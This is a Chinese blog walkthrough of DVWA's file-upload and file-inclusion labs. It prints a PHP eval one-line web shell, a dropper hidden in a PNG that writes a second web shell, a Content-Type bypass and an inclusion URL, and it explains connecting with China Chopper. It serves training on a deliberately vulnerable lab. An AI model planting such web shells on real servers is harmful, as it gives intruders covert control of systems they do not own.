基于DVWA文件上传,包含漏洞,上传一句话木马基础分析

木马

<?php @eval($_POST[value]); ?>

这是这个php程序,这个名字源于古希腊的传说这里就不说了,等于是一个别人家服务器在管理者不知情的情况下给你开了个后门你就可以在这里认真学习(放飞自我)

首先看eval函数:

在w3c里面找到的解释如下:eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。

言简意赅的说就是eval后面的字符串不会报错,字符串也会强制执行为php程序内容

$_POST:(万能的w3cschool)

简单的说就是一个定义的全局变量,而后通过这个变量完成一些我们所需要的操作云云。

这里需要注意的是,$_POST函数所传递的变量信息最大值仅仅为8MB,所以这个木马也被称作“小马”,因为实在是传递不了特别大的文件信息。

中国菜刀

图一:

图二:

就是一个链接木马的程序,通过web页面post口令对木马中所定义的变量进行赋值,从而完成所需要的操作云云。。。

不展开说使用方法,图一是所保存的木马地址,图二则是成功连接上之后我们所看到的画面,就好像是文件管理器一样方面的查看目标服务器上的文件进行下载或者是修改

DVWA中的文件上传漏洞

low:

首先在本地预先准备好木马程序php文件(需要在Windows 安全中心关闭系统的保护才能创建这个文件)

然后就是在假装上传一个图片文件实则是一个php恶意程序,以为是low所以系统并没有什么防护措施,直接就上传成功然后菜刀连接上去

就上去了,没什么难度,简单挂个马而已罢了;

medium

这里就不能上传后缀名不是图片png或jpeg的东西了

然后老规矩,挂burp抓一个上传文件的包看看到底是怎么回事:

 这里其实只要将源文件的后缀名改为.png就可以成功上传,想办法直接绕过规则上传一个php文件;

话不多说,先上中级源码:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

 我们分析源代码后发现,中级难度的上传漏洞主要是限制住了上传的文件格式,而且这个作用仅仅是作用于http包内的检测,于是我们可以直接把发给服务器端的包文件格式改一下,以绕过服务器达到上传php文件伪装png文件的目的

原本是这样的

我们灵机一动把他改成和源代码中一样的匹配格式

 文件就上传成功了!

High

要通过文件上传和文件包含两个漏洞相结合,才能达到我们木马上传的目的

但是高级别的dvwa对图片的上传把握的很紧,所以基本上只能上传图片,但是文件包含内执行图片也无法挂在我们所写入的木马,于是我们可以在图片内写入一个创建木马的php程序,当我们执行文件包含的时候,这个木马就会自动创建在文件包含漏洞所在的目录里面,再其次通过菜刀挂在图片文件所创建的木马.php文件,就成功了。

曲线救国

1.先通过16进制编辑png图片文件,直接在图片末尾添加我们的木马:

<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[123]);?>'); ?>

 

(请安全研究员喝茶)

2.上传文件(这里肯定是可以上传的,因为我们添加完木马文件后该图片依旧可以正常打开查看,缩略图什么的都没有任何问题)

3.通过文件包含漏洞执行我们上传的图片文件:

http://192.168.60.129/DVWA-1.9/vulnerabilities/fi/?page=file:///var/www/DVWA-1.9/hackable/uploads/333.png   //url贴一下

然后我们的文件包含漏洞目录下就已经创建成功我们的木马了(文件名:muma.php   被运维管理员一眼看穿)

4.菜刀链接

文件能打开,ok了 

这里主要是运用了一个曲线救国的方法,县成功上传无害pngwe年,再其次通过文件包含来执行他,执行本身是没有恶意木马的存在,但是执行之后便在文件包含漏洞的目录下创建了一个木马文件,菜刀成功挂马,转换方法达到了我们的目的

发布了25 篇原创文章 · 获赞 27 · 访问量 4140

猜你喜欢

转载自blog.csdn.net/Alexz__/article/details/102166392
今日推荐